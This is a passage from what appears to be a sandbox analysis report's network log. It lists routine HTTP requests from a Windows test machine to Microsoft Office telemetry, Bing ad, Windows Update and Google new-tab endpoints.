WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360422982_1TJDRH7G9FF9FQQY2&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360422984_1O5I4N56JBATVHLO0&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239370639329_16GDTY03HO5SY2UBG&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381854851_1AVWWRK3Y93QIKX3W&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239370639330_1D80T5H13WVAODNQ8&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381854852_1C494UCJY4KXHZI51&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=d21e0fe109894e1f8ee1ff8f4a7c9aca&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T185221Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=088b76138e214108b454d6eea0200e31&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598354&metered=false&nettype=ethernet&npid=sc-88000045&oemName=jqumta%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=jqumta20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598354&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVML5NBX5yFRq5mcK3NbYUCsh5TFa+v5IN1XJd+u2UJxckxlo16DWeoSgyj0wgVwXaYZeLHdNB5Kbxfgs3hw3Q0xHlwupXZIgt0xNa+FHs8w3r9VHk3aV9tCqgd1jYFsozRSTR903eAleBlEl2YOFl9YzTmuEUi8iQYRCBgy2ei0WVsW7VkzW7jfn9xn1RkHiefcmqCMuHdHuwF94YVCMiWkZ6p1mfgJASkcjTFfvVk18iyE3D9dsqhe7er6fw+QElQKCHu8ij4DSuGFln4i+gfq0iflGsg70j92xdo4CoMr4uiOiXKSyx634fr0qbWIdrHayJPi+EEofBJsibhB5zYQZgAAENjrRDee3qR4LBvPiqZNkrawAUbp/pca9AgLPrCg9vz83L6Lxzoc/SoqfaT71YKxQk0cVpHshFQagQ4nAHXTRgTPMXGurthZE+zBNhgesGvh00zxoB447y4jVipHRXq+SJsuldiNYD5Yyro0A8bCT5zH59hqeja3TiTzVfUCaP1PQewCY1oPu3m2/g2RWTIM/U3CMkbq2l/Zi51JUGQ24ItmaTJWlvWBaxQXx/PcFoHn18I0aVp269ft5gB977Pnj6U6Pu41jzVxAVpiWEImcsFbKGX/yv7dHdkQ3i/iI7gjpDoE7uHUmFY0PwzlVOIMb6DVBSQ+RVKnIWgz4v467ZzmIuGBQmFLxb3DQP0+ojqlTy5+XxBM7I/la+jZ0Fj3GgWFFrL1DJyzVVbGKCiHtZzAmd2Kp+cXi/v9RojqyftCkG9y3UFcJOpLK+E3hvQVKY0arCIpEsn979yIugln/O7di7vmfuROsdAKdkKmquCMwYMi3yayTL2pH4YjrSeJ/FQr8K4G0iwPoagNO+gEtv2AuVSPkAIsCa0U3ZIZ7rSwsmFc+nGGlMTwEzgSOpqnazgbvuHJIZ7KI4KmB3bsKO/kINcB&p=Cache-Control: no-cacheMS-CV: P6KLV1kcKE6sIa9C.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=d21e0fe109894e1f8ee1ff8f4a7c9aca&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=0BCC44D772F664AB2B1A519773DF6574; MR=0
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=OMKvArmyZ1p9r2P&MD=6MrcWd3R HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=d21e0fe109894e1f8ee1ff8f4a7c9aca&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=0BCC44D772F664AB2B1A519773DF6574; MSPTC=bF1R0mgkwxP704-J0VUmxqv4vKuBzyhg8jWf73c6XfQ; MR=0
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
